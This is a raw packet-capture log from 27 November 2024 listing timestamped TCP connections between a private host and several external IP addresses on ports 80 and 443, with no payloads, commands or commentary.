Nov 27, 2024 16:34:51.684144974 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.684242010 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.684860945 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.684978008 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.685089111 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.685775995 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.685997963 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.686063051 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.686728954 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.686798096 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.687613010 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.687683105 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.687721014 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.688296080 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.688545942 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.688685894 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.688896894 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.688976049 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.689444065 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.689526081 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.689580917 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.690414906 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.690548897 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.690648079 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.690876007 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.691441059 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.691494942 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.691576958 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.692126036 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.692248106 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.692269087 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.693033934 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.693054914 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.693093061 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.693098068 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.693950891 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.694005966 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.694057941 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.694057941 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.694947958 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.695106030 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.695149899 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.695425987 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.695750952 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.695805073 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.695864916 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.695956945 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.696646929 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.696770906 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.696791887 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.697544098 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.697664976 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.697788000 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.697788000 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.698474884 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.698529959 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.698604107 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.699356079 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.699490070 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.699564934 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.700223923 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.700275898 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.700364113 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.700429916 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.701287031 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.701343060 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.701689005 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.702095985 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.702250957 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.702604055 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.702977896 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.703068972 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.703975916 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.703986883 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.704081059 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.704829931 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.704988956 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.705069065 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.705645084 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.705790043 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.774858952 CET	49865	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:51.774913073 CET	443	49865	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:51.775146008 CET	49865	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:51.775327921 CET	49865	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:51.775343895 CET	443	49865	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:51.860502005 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.860560894 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.860594988 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.860652924 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.860922098 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.861171961 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.861274958 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.861825943 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.861871958 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.861944914 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.862101078 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.862761974 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.862838030 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.862921000 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.863131046 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.863862038 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.863924980 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.863976955 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.864187956 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.864559889 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.864680052 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.864731073 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.864820957 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.865446091 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.865531921 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.865571976 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.865734100 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.866383076 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.866435051 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.866507053 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.866636038 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.867276907 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.867333889 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.867418051 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.867530107 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.868246078 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.868334055 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.868335009 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.868474960 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.869105101 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.869204044 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.869219065 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.869302034 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.870062113 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.870240927 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.870244026 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.870402098 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.871048927 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.871114969 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.871227980 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.871336937 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.872050047 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.872108936 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.872122049 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.872373104 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.873244047 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.873298883 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.873356104 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.873490095 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.874123096 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.874229908 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.874305964 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.875035048 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.875045061 CET	443	49854	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.875062943 CET	443	49854	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.875111103 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.875119925 CET	443	49854	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.875128984 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.875135899 CET	49854	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.875170946 CET	49854	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.875384092 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.875854969 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.875922918 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.875926971 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.876146078 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.876657009 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.876727104 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.876773119 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.876971006 CET	49854	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.876987934 CET	443	49854	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.877583027 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.877614975 CET	49866	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.877643108 CET	443	49866	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.877651930 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.877748013 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.877748013 CET	49866	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.877748013 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.878521919 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.878578901 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.878587008 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.878768921 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.879374981 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.879477024 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.879524946 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.880012035 CET	49866	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.880034924 CET	443	49866	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.880081892 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.880134106 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.880146027 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.880832911 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.880898952 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.880947113 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.881628990 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.881771088 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.881866932 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.881885052 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.881957054 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.882610083 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.882687092 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.882757902 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.883565903 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.883670092 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.883795023 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.884469986 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.884577990 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.884582043 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.884685993 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.885373116 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.885432005 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.885473967 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.885557890 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.886266947 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.886322021 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.886337042 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.886430979 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.887185097 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.887245893 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.887284040 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.887335062 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.888144016 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.888226032 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.888235092 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.888411045 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.889075994 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.889127970 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.889205933 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.889295101 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.890115976 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.890177011 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.890177011 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.890229940 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.890749931 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.890799046 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.890928030 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.891031027 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.891724110 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.891788960 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.891834021 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.891834021 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.892594099 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.892693996 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.892760992 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.893485069 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.893594980 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.893615961 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.893646955 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.894455910 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.894548893 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.894591093 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.894933939 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.895292997 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.895347118 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.895395041 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.895504951 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.896178961 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.896295071 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.896375895 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.897133112 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.897159100 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.897345066 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.897345066 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.898111105 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.898169041 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.898236990 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.898420095 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.898957968 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.899020910 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.899164915 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.899327993 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.899955988 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.900077105 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.900105953 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.900259972 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.900820971 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.900896072 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.900954008 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.901010990 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.901757956 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.901846886 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.901890039 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.901945114 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.902520895 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.902664900 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.902668953 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.902806044 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.903525114 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.903598070 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.903635025 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.903743029 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.904380083 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.904436111 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.904469013 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.904597044 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.905440092 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.905512094 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.905559063 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.905622959 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.906105995 CET	443	49852	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.906140089 CET	443	49852	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.906203985 CET	443	49852	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.906224012 CET	49852	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.906225920 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.906265020 CET	49852	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.906295061 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.906362057 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.906548023 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.907094002 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.907139063 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.907218933 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.907218933 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.907645941 CET	49852	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.907655001 CET	443	49852	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.908035040 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.908313990 CET	49867	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.908345938 CET	443	49867	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.908349037 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.909976959 CET	49867	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.910121918 CET	443	49850	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.910149097 CET	443	49850	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.910208941 CET	49850	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.910214901 CET	443	49850	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.910300016 CET	49850	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.911034107 CET	49867	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.911046982 CET	443	49867	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.912053108 CET	49850	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.912075996 CET	443	49850	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.915627956 CET	443	49851	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.915704012 CET	443	49851	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.915811062 CET	443	49851	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.915983915 CET	49851	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.916549921 CET	49851	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.916565895 CET	443	49851	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:52.020730019 CET	443	49853	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:52.020747900 CET	443	49853	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:52.020823002 CET	443	49853	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:52.020910025 CET	49853	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:52.026566982 CET	49853	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:52.026587009 CET	443	49853	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:52.062131882 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.062146902 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.062243938 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.062304020 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.062392950 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.062426090 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.062526941 CET	49777	80	192.168.2.7	185.215.113.206
